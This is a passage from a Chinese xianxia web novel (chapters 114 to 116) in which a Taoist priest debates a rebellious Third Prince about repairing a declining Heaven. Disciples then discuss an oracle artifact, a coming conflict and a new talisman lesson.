褚鹤贤在这一桌中年纪最长,却也没坐那长桌窄边的主位,这些天一直是看哪顺眼坐哪,今日正好坐在关云铮身侧,闻言也笑着说道:“你倒是颇不好惹,境界提升了更没人敢惹你了。” 攻击性得到了认可的关云铮高兴地又吃了块排骨:“我倒是没觉得自己于境界上有什么大的变化,纵然已经迈入筑基,但引气入体依旧不怎么娴熟,御剑似乎也只是借着摇羽本来的剑灵之力,并非是我自身的修为。” “因为如今的修道之人与过去大不相同了。”任嵩华的声音忽然这样说道。 任嵩华这二十来天不曾在饭堂中吃过饭,忽然听见她的声音,关云铮下意识“嗯?”了一声,随即意识到不对,同她说话的这位任嵩华不在回忆之中,而在现实。 她这才发现自己又走神了。 关云铮心虚地眨了眨眼,好在任嵩华并没有同她计较此事,接着方才的话继续说道:“楚悯应当同你说过天道衰颓之事,天道衰颓,天地灵气逐渐干涸,以天地灵气为修行根基的修士们首当其冲,曾经大能辈出的辉煌一去不复返,飞升也成了痴心妄想。” “然而天道的衰颓不止体现在天地灵气的干涸之上。”同灯捋了一把自己的山羊胡子,拖着一口要死不活的调子说道,“天地,走兽,人,全都受了影响。天灾越发频繁,暴雨、洪水,山崩、地裂;曾经遍地走的灵兽几乎断绝,只有如今的鹧鸪山与荒僻的昆仑一脉中仍有少数留存;至于我等凡民……” 那小胡子老道低低地笑起来,活像是被鬼上了身:“天灾灭顶,还有人祸在后穷追不舍,死也是活该……” 叶泯听得心惊胆战,觉得这老道二十天下来越发言行无状了,虽然这讲经会吊人胃口到了今日,已经没多少县民有余钱买得起门票入内听讲,但多少还是有些人在的,他说这话也不怕触怒底下的听众吗? 他这样想着,下意识往周围环视了一圈。 很好,为数不多的几个县民也早就走光了,只剩他们三个冤大头还在听这老山羊碎嘴。 叶泯生无可恋地收回视线,听见那方才还在表演鬼上身的同灯忽而正常起来,义正辞严地接着说道:“灵气原本近乎取之不尽用之不竭,因为修士总有一天或死或飞升,躯体会归于天地,其中的修为或是其他,会转化为灵气归还于此间。” 他说到这,脸上居然流露出了一丝不甚明显的怀念,好像他一个凡民,当真见过那繁荣昌盛的时代一般,神神叨叨地说道:“可是天道衰颓,灵气不知是逸散还是如何,日复一日地少了起来,”他说到这才想起观中还有楚悯他们三号人似的,迷迷瞪瞪地看向三人,“敢问三位小友修的都是什么道?” 谭一筠总是很给他人面子,忍了这老道二十来天也已经修身养性了,闻言平静答道:“阵修。” 楚悯接着答道:“卦修。”虽然也粗通一些音律,但那点水平还不够现眼的,也没必要往外说了。 叶泯对于自己究竟要修什么道仍旧是一头雾水,随口说道:“御兽。” 同灯意味深长地点了点头:“往前再数百年,修道者入道的契机各不相同,卦阵、音律、灵兽皆有,但无需为这些起个专属的名头,因为彼时各大仙山林立,各处门派弟子繁多,管不上这些有的没的,传承自己门派的功法都来不及。” “修道鼎盛时,不拘人们修的是什么道,只要能在自己的道一条路走到黑,日子久了,皆会有几分建树。现如今可不一样了,仙门凋敝,留存至今的大多入门便是剑修,没有旁的选择。以前哪有这许多剑修啊,剑修一道对心智和躯体的磨炼,又岂是如今这点修炼能比的? “那时候修道之人的境界突破也不像如今这般涨得飞快,如今仙门子弟中运气好些的,几月便能筑基。灵气衰减至今,能被调用的已余下不多,修士们活像是演化出了一套求生的法则,不约而同地将突破境界所需的年月一缩再缩,恨不得新招揽的弟子立地便能成仙。 “然而突破所需的年岁越短,修士们抵达巅峰的时间也就越短,寿数也便成了无意义的累赘,曾经修士们动辄几百岁的年月再也回不去了,如今的仙门中都是些短命鬼,还不如凡民能活。”同灯嗤笑了一声,几句话把楚悯等人骂了个遍。 被这老道一帮子打死地骂了,叶泯发觉自己竟没生气,而是带着点心平气的耐性想着:我倒要听听你还要放什么檀香屁。 “从前大能遍地走的时候,凡民见多了修士,没什么新鲜的,哪怕目睹了一场昏天暗地的厮杀,也不见得会眨一下眼。”同灯的语气听着像是有几分落寞,“如今修士成了珍馐,谁都想巴巴地凑上去,沾点半死不活的灵气或是仙缘回来,好吹他一阵子的牛。” “那始终不及修士的凡民算什么?” 同灯那老山羊虽说话啰里八嗦,但这些话还算有点道理,是以谭一筠有些听进去了,陡然听见这么一句突兀的话,一时还没反应过来此言并不出自同灯之口。 “他们昌盛,我们是他们随手便能捏死一片的蝼蚁;他们盛极而衰,我们还是得求着、盼着他们的垂怜。修士短命尚且有修为护体,如今苟活于世者遍地走,动辄被疫病折磨至死的凡民又算什么?” 这话煽动性太强,楚悯三人都听得皱起眉头,朝声音的来源处看去。 只见一个身量颀长的男人站在不远处,穿着一身素色的长袍,那长袍看着朴素,做工却并不粗陋,观中的阳光洒了他一身,那袍子便光华流转起来。 好一件闷骚的人,不是,衣服。 叶泯不明所以地看向楚悯,楚悯顺势低头,借着谭一筠在她身前的遮挡,快速在手中起了一卦,发觉这人看着无甚特别,卦象竟含糊不明! 要知道她学会卜卦至今,只有两种情况下,卦象会不甚分明。 一种便是先前在幻境中受准则与考题的扰乱,一种则是……触碰到了某些无法被卜算的命格。 后者只在她想要卜算与苍韫桢有关之事时发生过。 楚悯猛地抬起头,对上那男人略带几分阴鸷的目光,骤然明白过来。 他就是柳相所说的那位,一直存有谋反之心的三皇子! “三殿下。”同灯见了来人竟也没替他遮掩,一肘子把他的身份捅了个对穿,楚悯还没来得及说出自己卦阵的结果,身旁的谭一筠和叶泯就从他口中得知了答案,一时三人脸上的神情皆是异彩纷呈。 三皇子似乎没料着观内还有旁人,往楚悯三人所在扫了一眼,发现他们不过是三个年纪尚小的仙门子弟,脸色顿时有些复杂。 叶泯小声嘀咕:“我怎么觉得他脸都快绿了。” 谭一筠接话道:“何止绿了,他都扭曲成苦瓜了。”兴许是觉得自己一条真龙,不该同池中鱼虾混在一处水中吧。 只是那三皇子到底还是皇家出身,纵然眼神和脸色已经将他的内心出卖了,但说出的话还是端足了涵养,没有出言针对他们这三条小鱼小虾。 方才还在侃侃而谈修道之事的同灯见了三皇子,神色忽的冷淡下来,从碎嘴老山羊变成了锯嘴葫芦。 他对待三皇子的态度与楚悯想象的不太一样。 纵火之人始终藏身于观内,现下众人也都对此事的幕后主使心照不宣,她还以为同灯会对这位名为皇子实为乱党的三殿下言语谄媚,全然没料到这样的态度转变,一时有些困惑起来。 三皇子显然十分不会看脸色,也可能横行惯了,觉得一个老道的脸色没有让他仔细看的必要,走进讲经处,自顾自地寻了个位置站定:“道长。” 同灯没理他。 这道士好像天生好几张面孔,对灾民是一张脸,对他们这些“如今的修士”是另一张脸,对上三皇子,竟还有一张面孔。 叶泯直觉接下来两人的谈话不会太愉快,打算拉上楚悯和谭一筠开溜。 谁料那同灯沉默了一会儿,忽然开口说道:“殿下心系天道之缺,悲悯众生之苦,此心可感,却不可执着。” 三皇子嗤笑了一声,大概是厌烦了老道这番说辞,这样的对话兴许在两人之间不止发生过一次,他随口敷衍道: “道长有何高见?天道有缺,万灵困顿,岂能坐视不理?” 同灯大概也对这头牛弹过许多次琴了,闻言也不恼,继续说道:“天之道,损有余而补不足,其运化本就非完璧之象。殿下所见之‘缺’,是道损?是道补?亦或仅是殿下心中‘应有之天道’的倒影?”[1] 一番话将楚悯三人听得直皱眉。 这同灯话里是什么意思?三皇子究竟只是对天道衰颓有个简单的认知,还是窥见了什么不该窥见的……天机? 同灯这话颇有一巴掌打醒梦中人的意思,三皇子闻言,终于收起了自己虚伪的涵养,不悦道: “道长的意思是,那天路断绝、灾劫频仍、道途晦暗皆是虚幻?是我心魔?” 同灯平静地摇了摇头:“非是虚幻。缺,是‘有’。但殿下欲‘补’之念,已生‘妄’根。殿下视己身为‘唯一’可执权柄、合天道、行补天之壮举者。此念,便是 ‘吾丧我’中之‘吾’在作祟 ,是‘我相’、‘人相’炽盛。”[2] 他以讲经布道的名头瞎扯了二十来天的闲话,谭一筠本不对他能说出什么高深的话抱有期待,今日说的那些修道之言已经算是有几分水准,现下这老道竟真讲起道来了! 三皇子冷笑了一声:“非常之时,当行非常之事!若无此担当,何人能挽此天倾?道长欲我效仿山野隐士,坐看天地崩坏?” 叶泯感觉额角的青筋又蹦出来同自己打了个欢快的招呼。 灾后重建之时唆使他人纵火,烧毁灾民住所,还私下囤兵企图造反,这就是非常之时行非常之事?这就是他所谓的担当? 还真开了眼了! 同灯那双总也睁不开的眼睛此时锐利无比:“人法地,地法天,天法道,道法自然。殿下之‘担当’,在于‘法自然’,而非‘代自然’!天道之缺,若真是大道运行一环,强补之,是逆天!若非其环,则自有其弥合之机、应运之人,非‘唯殿下不可’! 殿下执念于‘我’为补天者,强聚气运,争那人皇位格,此等 ‘有为’之举,恰如‘揠苗助长’,非但难补天缺,恐更添新伤,扰动地脉,离散人心,反成‘大妄’之源!”[3] 谭一筠眉尾一跳,怀疑那三皇子听了这话很快便要暴起伤人,不动声色地在子不语上布了个防御法阵,动了动身子,把楚悯和叶泯都往自己身后遮了些。 三皇子长这么大可能还没被谁如此直白地打过脸,顿时怒不可遏:“荒谬!天道若自有其法,何以至此?!等那虚无缥缈的‘应运之人’?苍生何辜,岂能坐以待毙!道长之言,不过是畏难苟安之辞!” 同灯见劝不动他,无奈地叹了口气:“殿下已入‘知见障’,执着于‘补’之形,忘却了‘生’之本。大道泛兮,其可左右。万物恃之以生而不辞,功成而不有。天地万物,自有其蓬勃生机与演化之道。殿下若能放下‘人皇补天’之妄念,以清净心观照,扶助万类霜天竞自由,滋养此方天地本有之生机,调和阴阳,理顺五行,此等‘无为’之功,方是顺应天道,润物无声。或有一日,水到渠成,天缺自复,何须殿下以身为薪,强填那未必能填之壑?执着于‘我’与‘我之法’,终是妄作,凶啊。”[4] 说完这番长篇大论后,兴许是清楚等不到自己想要的回复,同灯摇了摇头,自行起身离开了。 三皇子站在原地,脸色几多变幻,口中喃喃自语,片刻后看也不看楚悯三人,一拂袖,也转身离开了。 谭一筠松了口气,绷着的双肩立刻垮了下来:“还以为他最初见到我们那个神情,无人时要对我们下手了。” 叶泯忍不住往他背上掴了一巴掌:“你能不能盼点好?快走了,今日还有事要做。” **** 三人回了小院,柳卿知和章存舒都在院中,见他们回来,章存舒招呼道:“来吃点心。” 谭一筠走在最后,将子不语上记录的词句仔细看过后,才走到桌边坐下。 “今日去了这么久,那道长讲了些什么?”章存舒问道。 谭一筠把子不语托向空中,那扇面上依言浮现出墨迹来。 柳卿知和章存舒沉默着看完,一时都没吭声。 叶泯被那道士和三皇子你一言我一语的辩论绕得脑袋发昏,目光呆滞地吃完了一块点心才缓过神来:“三皇子难道窥见过天机?” 柳卿知神色平淡:“他自然窥见过。” 叶泯原只是随口猜测,听了柳卿知的话猛地抬头,险些把舌头咬了:“什么?” 柳卿知给他倒了一杯茶:“三皇子在天问一派中修习过一段时间。” 谭一筠本就因为同灯和三皇子交谈的话感到震撼,此刻闻言更是恍惚道:“天问?” 作为天问弟子的楚悯更是茫然地皱眉:“在我派修习?我怎么从未听人说起过?” 柳卿知喝了一口茶:“皇室秘辛,自然不能随意提及,知情人大多立了誓,况且三皇子在天问修习的那段年月也不甚愉快,谈论也是徒添烦扰。” 大概是和苍韫桢相熟,章存舒对此事也有些了解,接着柳卿知的话茬往下说:“洞玄面世而制造者身死后,为了分说这法器的归属,各地惹出了不少的是非,最终由朝廷、仙盟、仙门共同商议决定,暂时寄放在天问。” 推演法器放在推演门派,合情合理。 “然而朝廷不能全然放心,三皇子与他那心眼多过马蜂窝的爹不谋而合,自荐去往天问,名为挂牌修习,实则监视督察。”章存舒拿了块点心,原本还有些正经的语气陡然一变,带着几分嘲讽说道,“先帝就是心眼太多,立了储还要给三皇子赐这么个颇具厚望的名字,明面上又什么要求都答应,惯得那小子无法无天,见到洞玄所示才会受那么大的打击。” “什么样的名字?”楚悯问道。 章存舒用指尖引了点茶水,在桌面上勾画一番。 三人一齐凑上前,只见被天井上方投射下来的阳光一照,那字迹几乎有些波光粼粼。 ——载明。 与苍韫桢那个看起来不蕴含任何“期待”的名字相比,确实……寄予了厚望。 “三皇子去往天问之后,一直想着再见一次洞玄,也没忘了时刻盯着天问的长老们,不让他们私下启用。”柳卿知说起这些事来如同亲历,“天问长老们自然不会干出监守自盗的事,只是不久之后,一直摆在议事堂中的洞玄自己动了。” “除了三皇子,没人知道那时的洞玄昭示了什么,只是从那之后,他便主动提出要回到宫中,不再留在天问修习。”柳卿知垂下眼,“也是从那时起,仍是公主的苍韫桢过上了……不停被人设计陷害的日子。” “三皇子从洞玄所示中看到了日后的皇位之主,动了杀心?”叶泯问道。 楚悯摇了摇头,抬手指向子不语那墨迹尚未散去的扇面:“从同灯道长所说中不难推断,三皇子执着于‘人皇补天’,觉得自己是‘应运之人’。说明洞玄所示并不仅仅是皇位归属这么简单,他一定是看到了更深更重的命运,与苍韫桢紧紧相连。” 谭一筠点了点头:“除此之外,洞玄也可能给出了另一个模棱两可的答案。” 叶泯看向他:“你的意思是,洞玄昭示,谁能‘补天’,谁就是那个‘应运之人’?” 如果全然不曾经历挫折,谁会觉得自己低人一等?应运之人可以是苍韫桢,自然也可以是他苍载明。 柳卿知的语气依旧很平淡,但楚悯总觉得她话里藏着些收敛过的杀意:“人皇顺应民心所向,可凝聚天下灵气,补起天来,自然比其他身份便利得多。他当然有别的路可选,但这个位置是他毕生所求,如今有了冠冕堂皇的理由,抢夺起来自然更是不会有任何愧疚之心,哪里还会记得,苍韫桢和他是一母同胞的亲兄妹呢?”—— 作者有话说:[1]天之道,损有余而补不足——《道德经》 [2]吾丧我——《庄子·齐物论》 [3]人法地,地法天,天法道,道法自然——《道德经》 [4]……——《道德经》(实际是零零散散实在不知道怎么标了,这段引用比较多) 到头来还是写了六千多……我就是这样一个慷慨的菇(bu) 第115章 一母同胞…… 这几句话里蕴含的意义听得在座几人全都鸦雀无声。 只不过章存舒显然对这些事早有了解, 愤慨沉痛的时候已然过去了,现下他脸上的神色是与柳卿知如出一辙的平淡:“他敢公然现身于人前,想必已经有了打算。” 柳卿知颔首, 没多言语。 不知他们在楚悯三人回来前聊了些什么, 总之此刻两人的对话令人听得一头雾水。 叶泯想问又不敢问,总觉得背后的事不是自己这条小命能承受住的, 但纠结片刻还是决定开口, 于是硬着头皮问道:“什么打算?” 章存舒倒是没像往常一样遮掩,兴许他带他们三人来到此时的江县时,就没打算对此事遮掩:“三皇子的兵马已经在邻县躁动不安多日了。” 叶泯跟灵兽打过,跟同门比试过,但一心修炼的这几年如同出世,还没见识过凡民中的战争。 不, 他也算是见识过了,修士们狩猎灵兽, 与战士屠戮百姓受难……似乎没什么区别,死伤更多的一方, 必然是不被当做人看待的一方。 想到这, 他下意识往天井外的天空看了一眼。 今日距离洪灾泛滥的那几日已经过去了近两个月,快要入冬,雨水变少, 天上连云也没有几朵, 明媚得不像话。 这段日子该重建的房屋也已经重建妥当,灾民们搬进新家住下,因为特意处理了受到污染的水源,疫病也就逐渐防治得差不多了。 这样晴好的天气,这样的好日子……会被战火毁于一旦吗? 柳卿知看穿了他在想什么, 淡然道:“若是你对他人的敌意早有防备,也知道他会带上许多人来挑衅生事,你会如何?” 叶泯回过神来,发觉这话是对着自己说的,不加思考便答道:“自然是早做准备,不然等着挨……您的意思是?” 话赶话地说到这他才明白过来,不由得又一次为自己的杞人忧天感到惭愧:自己尚且会面对他人敌意早做准备,柳相又岂会坐以待毙? “江县的事差不多了了,离下次幻境考察还有些日子,我们该去邻县了。”章存舒替柳卿知答道。 这话的言外之意令人惶恐,柳卿知和章存舒两位“大人”的淡然衬得在座三位弟子的心智都小了不少,谭一筠原本还在推敲子不语上记录的三皇子之言,听到这也没忍住,和叶泯一起露了怯。 “去……战场吗?”谭一筠迟疑地问道。 柳卿知终于露出了一点笑意:“打不起来的。” 始终沉默听着没开口的楚悯此时抬头看了柳卿知一眼,从她那只挂在嘴角的笑意里无端窥见了一丝端倪——要想这场仗打不起来,可能仍需要洞玄的助力。 若干年前,三皇子秘密在天问修习的那段年月里,他究竟从洞玄的昭示中看到了什么? 究竟是谁的命数?又是谁的运数? 他这样一个将洞玄所示奉为圭臬,但又决心逆转昭示的人,会不会最终……也死于所谓的命数? 对了。 楚悯忽然皱起眉头:“柳相,既然洞玄如今已选中了陛下,可推演万事万物的权能为你们所用,为何不能从中看出当年它究竟昭示了什么?” 叶泯从惶恐不安中回过神来:“对,兴许看到过去洞玄昭示的事,能对我们有些帮助?” 柳卿知下意识隔着衣领拨动了一番那枚十八面骰:“说来惭愧,洞玄初次面世时,是能够回溯过去、推演未来的,也即推演万事万物,”她不甚明显地流露出了一点困惑,“但我们获知三皇子是因窥见洞玄昭示而性情大变时,它已经不能再回溯太远的过去了。” “太远的过去?”楚悯问道。 怎样是“太远”? “应当是三年为期,洞玄面世三年后,选中了苍韫桢,而在此之前,仍可回溯过去。”柳卿知说道。 洞玄在未选中苍韫桢之前,一直被放在天问接受诸方监视,未曾启用过,按理来说,没人能知道它究竟是什么时候失去的“回溯过去”这部分权能,故而柳卿知这话实际很没道理。 谭一筠是这样想的,也这样问了:“柳相是如何得知这一确切时限的?” 柳卿知看了楚悯一眼,向来果决的人此时竟有几分犹豫:“是……” 楚悯感受到了她的注视,神情反而比她洒脱得多:“应当是我叔父说的?” 她已经在几人谈话间想明白了关窍:苍韫桢继位也就是这两年的事,三皇子在天问挂名修习一事自然也没有过去太久,按理来说她应该都记得,但她却对洞玄在天问这段记忆一无所知——因为那几年她不在主峰上。 议事堂在主峰,三皇子这样尊贵的弟子自然也在主峰,但在叔父逝世之前,她一直是跟叔父一起住在侧峰的。 因为那几年叔父的身体已呈现出衰竭的征兆,而她又展现出了此道惊人的天赋,她父亲忧虑非常,把她和叔父这两位令人头疼的天才全都移到了侧峰居住,暂避锋芒。 侧峰听上去距主峰不远,实际几乎没有联系,正如归墟弟子不主动去来去峰一般,平日两边的消息是互相断绝的。 那时叔父还在,她也还没养成遇事占卜的坏习惯,是以对发生在自己眼皮子底下的事一无所知,也就对洞玄一事毫无记忆。 但叔父一定什么都知道。 柳卿知颔首:“你叔父说洞玄无法被卜算,但他能感觉到洞玄的权能在逐渐衰退。”她回忆着说道,“三年的期限也由他告知于我,只是……” 只是那时叔父已经死了。 楚悯不太想谈论这个话题,岔开话茬说道:“将隐倒是只能回溯过去,也同样无法被卜算,难道将隐与洞玄确有相关之处?” 她父亲究竟又是怎样打造出的将隐? 用了与打造溯洄一样的法子?可是这个法子对人的损耗…… 柳卿知不是仙门人,在仙门问题上思绪反而更开阔些,闻言说道:“或许洞玄消失的那部分权能,就是将隐。” **** 将隐的实体或许真的碎得无法修复了,但……权能一定还在。 ——因为关云铮已经无意中看见过好几段陌生的记忆了,都不属于她或原身。 一段是闻越刚入门那段时间,被章存舒顺嘴坑了,一直管步雁山叫小师叔。闻越的磨人程度全师门有目共睹,直接把性情温和的步雁山喊出心理阴影了。 不过……鉴于这段记忆其实是以步雁山视角展开的,所以关云铮能感觉出他对这个称呼其实并不抵触,只是因为闻越频繁地喊起,成了个……甜蜜的烦恼。 另外她推测,可能是步雁山当了几年掌门,对小师叔这样过于亲昵的称呼有些不适应了。所以这几天她故意喊了那么几次,果然见步雁山虽有些不自在,但并无不悦的意思。 另一段记忆则来自闻越,记忆展开的一瞬间她就觉得有点不对,貌似是闻越在江县如何得到梦觉——也就是那个发光皮球的记忆,她直觉此事自己不该再看,毕竟闻越还没主动告知她,万一她的三师兄打算把此事当做惊喜说给她听呢? 所以她只看了个开头就把这段记忆“掐”了。 虽然闻越的记忆和掌门的记忆本质都是未经允许对他人隐私的窥探,但后者毕竟只是段有关称呼的记忆,从步雁山的态度来看也并非不能谈及的逆鳞。但闻越的记忆…… 她觉得还是等闻越想说的时候再知道,比较妥当。 虽然她一直在搭建结界和幻境的最后一步上多有停滞,但某些时候她的“言灵”还真挺管用的,哪怕只是在心里想想——闻越不知是不是感受到了她内心的呼唤,兴高采烈地从连廊上走来了。 关云铮把练习符咒的纸笔放到一边:“师兄?怎么这么高兴?” 闻越像是真听到了她的心声,在她身侧坐下后说道:“梦觉似乎能随我心意化形!” “真的?”关云铮顿时也兴奋了,“给我看看!” 闻越从乾坤袋里把那发光皮球拿出来,似乎是在心里默念了些什么,几息之后,他手中的梦觉竟凭空变成了一把短刀。 “什么武器都能变?”关云铮凑上前观察了一番,发觉那短刀竟然还是开了刃的。 “似乎只要我想得出。”闻越也观察了一番手中的短刀,“我还以为它仍在酝酿形态,没想到竟是个随人心意的。” 关云铮点了点头,失误了,早知道不该取什么梦觉,叫如意才比较到位。 她想象了一番闻越拿着玉如意打架的画面,险些没绷住笑,低头忍了忍才接着说:“你怎么发现的?” 闻越心念变换,那梦觉又变回了发光皮球的模样,被他放回了乾坤袋中:“我刚才试着调动灵气托起它,那时兴许在想何时才能拥有一把剑,待我回过神来,它已变成剑的模样了。” 多种愿望一次满足,这种好东西究竟是怎么来的? 关云铮差点没忍住把大脑里曾经出现过的那段记忆又扒出来看,好在闻越此次本就是为了坦白而来,解救了在道德底线边缘挣扎的小师妹。 “我大概真同水有些缘分,引气入体是在水中,这梦觉也是我在水中得到的。”闻越说道,“江县这些年来每逢雨季必受洪灾,柳相和师父都觉得是排水不够,我和师兄师姐一起去的时候,多数时间都在帮着兴建水渠,开挖水道。” 关云铮点点头:“我在幻境中也想到这一点了,只是还没落实就出来了,你们落实得如何?” “动身返回归墟前已经差不多了,江县地方小,大体的框架搭好后,交由工人们再精细雕琢。”闻越答道,“有一处水渠开挖前需疏通河道,但那淤泥不知为何堵得厉害,我一时心急直接跳进了水里,一番疏通后,在淤泥中摸到了梦觉。” 关云铮诡异地沉默了一会儿:“它在水里发光吗?” 闻越不明所以:“自然是发光的,只不过河水浑浊,不大能看出来。” “当时河里还有别的人吗?”关云铮又问。 闻越更加一头雾水了:“有倒是有,怎么了?” 没怎么,关云铮神色木然地想,只是有那么一瞬间觉得梦觉像是中土时期,那个让霍比特人变成怪物的造孽魔戒。 “你使用它的这段时日,可曾感觉到胸闷气短,心浮气躁?”为求保险,关云铮还是按照自己的想法追问道。 闻越虽对她的言语感到不解,但依旧很配合地思索了一番:“不曾。” 关云铮短暂地放下心来,决定短时间内不再提及这个话题,以免扫了闻越的兴。 见她没多说,闻越也就不再多问,继续说道:“说起来,师父不知道梦觉到底是个什么东西,柳相反而同我说过几句。” “柳相兴许是通过洞玄知道的?”关云铮揣测。 闻越若有所思地点点头:“总之柳相说,此物与我有缘,可用。” 关云铮放下心来:“那就用吧,看看它还能幻化成什么。” 虽然这份信任来得毫无依据,但她对于洞玄确乎有种难以形容的信任,如今想来,或许跟她对将隐建立的信任有些关系。 毕竟从现有的经历来看,将隐和洞玄的权能极为相似,很可能存在着某种意义上的关联,如果将隐展现的一切都是可信的,那么洞玄也理应如此。 而她对将隐的信任又可以追根溯源到小悯的父亲,从而到小悯身上,所以这种信任本质上是爱屋及乌的表现。 关云铮坦然地分析了一番自己的内心,没觉得有什么问题,对闻越接着说道:“没准是天意看你过于懈怠,用梦觉催着你用功呢。” 坏了,她也变成CPU别人的坏人了。 闻越倒是不会同她翻脸,只是装作沉痛道:“云崽,你也变成整日把功课挂在嘴边的大人了。” 关云铮也佯作感慨模样,摊开双手说道:“唉,没法子,谁让我自己每日功课缠身呢,实在见不得你清闲。” 闻越被她逗笑了:“好啊你,说出真心话了是吧?” 关云铮把一旁用来画符咒的纸笔摞起来:“正好,左右你闲来无事,不如陪我去找褚先生,我有个符咒要向他请教。” 闻越把她怀里的东西接到自己手上,跟在她身后走出游廊:“不是才听完符咒课,怎么课上不问?” 关云铮毫不心虚:“课上没想起来,见了你才想起来。” 闻越一头雾水:“还有什么符咒能见了我才想起来的?我脸上有字?” “你方才说到柳相和师父,我想起之前叶泯他兄长给他的传音符,也想画一个试试。”其实她早有此意,但这些天时而被疼痛折磨躯体,时而又被课业折磨精神,总是想不起来。如今师父带着小悯三人一去就是二十天,也不知道写封信回来,就算不是为了此次传信,也该把传音符一事提上日程了。 闻越不大赞同地转过身:“你伤还没好,传音符太耗灵气了。” 关云铮一脸无辜地看着他:“我只是问问,我不画。” 闻越瞪了她一眼:“你看我信吗?” 已经沦落到毫无信誉的人失笑:“我真不画,师父上次去江县应该留了传信点吧,我能用火传信为何要费这功夫画传音符,不嫌累得慌吗?” 闻越险些被她的花言巧语绕进去了,皱起眉头问道:“你怎么知道上次留了传信点?既然你知道有传信点,为何急着学传音符?” 关云铮推着他往藏书阁走:“算我求你了师兄,收了你的神通吧,我真不画,我若是伤好之前便不自量力画制此符,就让我一月喝不到奶茶,行了吧?” 用食物发誓在闻越这里实在是太有含金量了,他顿时收了脸上怀疑的神色:“这还差不多。”—— 作者有话说:燃尽了,少写了点 第116章 “传音符?你伤势未愈, 不该学这般耗费精力的符咒。”褚鹤贤从高得能把人埋了的卷册堆中抬起头,皱眉道,“你要传音去何处, 我可代劳。” 坐在书案边的关云铮摇摇头, 同他卖乖道:“我只是学一学,保证不画它, 先生放心。” 最近因为伤势未愈这个脆皮人设, 不论是术法、符咒,还是蒲飞鸢教授的剑招,强度上都比以往温和了不少,对身心造成的疲惫感锐减。 但她的领悟力和精力又伴随着筑基的跨越高了不止那么一星半点,导致这段时间她竟然诡异地无聊起来了。 倒也不能说她完全掌握了过往所有的知识,但是谁不想在脑子最好的时候多吸收点知识, 她长这么大还从没这么求知若渴过呢。 褚鹤贤深知她只是嘴上乖巧,并不能全然放心, 更别说一旁的闻越生怕他不同意,会驳了师妹的小小心愿似的, 一个劲地朝他点头, 让他更加不能放心了:“你又作的什么妖?” 这熟稔的埋汰味…… 关云铮回头看了闻越一眼,只见她的师兄全身上下每一块骨头都懒洋洋的,没型没款地在她身后戳着, 闻言也丝毫不觉被埋汰, 泰然自若道:“我来监督云崽,不让她偷画。” 褚鹤贤奇道:“还有你监督别人的一天?” “噗。”关云铮实在没忍住,很不给面子地笑出声,随即顺手把桌子一角褚先生看完了但没收拾的卷册堆叠起来,“传音符总归是要学的, 我想着,不如先来褚先生这开个小灶。” 褚鹤贤拗不过她,把她带过来的纸笔拖到自己面前,先抬手在空中放了一个金红色的悬浮符文作为演示:“传音符也有不同,有只能用一次的,也有带在身上随时通信的,你要学哪一种?” 说完他又觉得此言十分多余,自顾自摇了摇头:“我还是先教你简单的,不然你折腾出什么新的病痛来,你师父又得来烦我了。” 关云铮还是头一回听褚先生抱怨自家师父,颇觉好奇:“师父能怎么烦您?” 闻越拉过一个垫子,在关云铮身侧坐下:“左不过是来拉着褚老下棋,杀得褚老片甲不留,没什么新鲜的。” 褚鹤贤手里的笔还没蘸墨,先敲到闻越脑袋上了:“就你有嘴。” 敲完闻越,他用笔尾隔空点着那个金红色的符文:“你看这走势和顺序。” 关云铮顺着他的话抬起眼,只见熟悉的光点沿着笔画在符文中流淌起来,若非在白天,兴许还能更耀眼一些。 “其实放在身上随时通信的传音符,用的也是这一符文。”褚鹤贤把笔蘸了墨,凝聚灵气于笔尖,开始画起符咒来,“只不过那种传音符需要更稳定的承载,用的大多是布帛,奢华些的则用玉石来做介质。” 闻越点点头:“那岂不是就同灵牒差不多?” 褚鹤贤在画符咒的间隙里抬头,睨了他一眼:“怎么,你大哥难道能用灵牒骂你?叶泯那小子被他大哥骂得那般惨,怎会与你差不多?” 闻越到底是没见过当时的场景,但关云铮可是目睹了全经过的,甚至耳朵也半被迫地听完了全程,顿时打了个兔死狐悲的哆嗦。 她正要说话,忽然捕捉到什么细微的动静短暂地一闪而过,像是……有人在翻书。 “先生。”关云铮压低了声音,一部分注意力就像一缕极细的丝线,顺着方才声音的来源追了出去,口中还没忘了问道,“藏书阁今日有旁人在吗?” 褚鹤贤手中的动作一顿,抬起头来对上她的视线,右手仍执着笔,左手已迅捷无比地打出去一道“寻踪”,嘴上说道:“符咒的媒介固然有几分影响这符咒的品质,但也有无需媒介的符咒,需更高的境界以及对符咒更深的学识方能成功。” 譬如他现在这样。 那道寻踪像是闻见了腥味的凶兽,在空中只短暂地闪了一下,便没入了浩繁的卷帙之中。 关云铮直起身,放轻脚步,往符咒隐没的地方走了过去。 **** 楚悯生在天问、长在天问,如今又来到归墟接受教习,耳濡目染之下学会的诸多事之一就是:不盲目信任权威。 天问当然有单论境界或卜算都能远超她的人在,但卜算一道天赋重过勤勉,天问中人也大多没什么脾气,倚老卖老……也没到那个年纪,是以门派中几乎没什么人是接近“权威”的存在,很多时候听从也只是出于对他人德行的尊敬——大家都有能力,德行就成了决定一个人地位的决定性因素。 至于归墟……归墟是她长到这个年纪听过见过的,最“没有规矩”的门派。章存舒作为与她接触最多的“归墟人”,身体力行地展示了修炼也是可以顺心而为的,没必要自己给自己找不痛快;至于所谓的上等人或是大能,在他的眼里估计跟山下云吞摊的摊主也无甚区别。 哦不对,还是有的,“上等人”多半没有什么真才实学,还不如云吞摊的摊主。 如此一来,她对“权威”二字的信任程度大打折扣,但这也导致柳卿知所说的“不会打起来”这句话,始终令她将信将疑。 不过好在柳相重任在身,说不了太久的话就得离开,她也就不用一边习惯性质疑权威,一边自省此举的对错了。 谭一筠把子不语上记录的话看了几遍,还是觉得和柳相的话对不上,干脆放弃独立思考,转向章存舒:“先生,柳相为何有信心此仗打不起来?我看那三皇子实在是个道貌岸然之辈,嘴上说着挽救天倾,实际连人命都不顾,他又私自囤兵多年,似乎没有不造反的可能。” 章存舒把最后几块点心往三人面前又推了推,见叶泯腕上的灵犀探出脑袋,还顺手掰碎了一块,捏了些碎屑在手心喂它。待做完这一串动作后,他才开口,却也并非回答,而是个反问:“你可曾虔诚地信过什么?” 谭一筠一愣,没料到这么个问题,一时之间竟然没想出回答,被打了岔的思绪运转了片刻才说道:“似乎并没有。” 从他的师父与章存舒是多年好友这一点就能看出来,他师门那位估计也不是什么正经教书育人的先生,没有这方面的信念倒在意料之中——毕竟章存舒的弟子们也都这个德性。 叶泯也跟着摇了摇头:“我似乎也不曾。” 他的情况与谭一筠的有些不同。 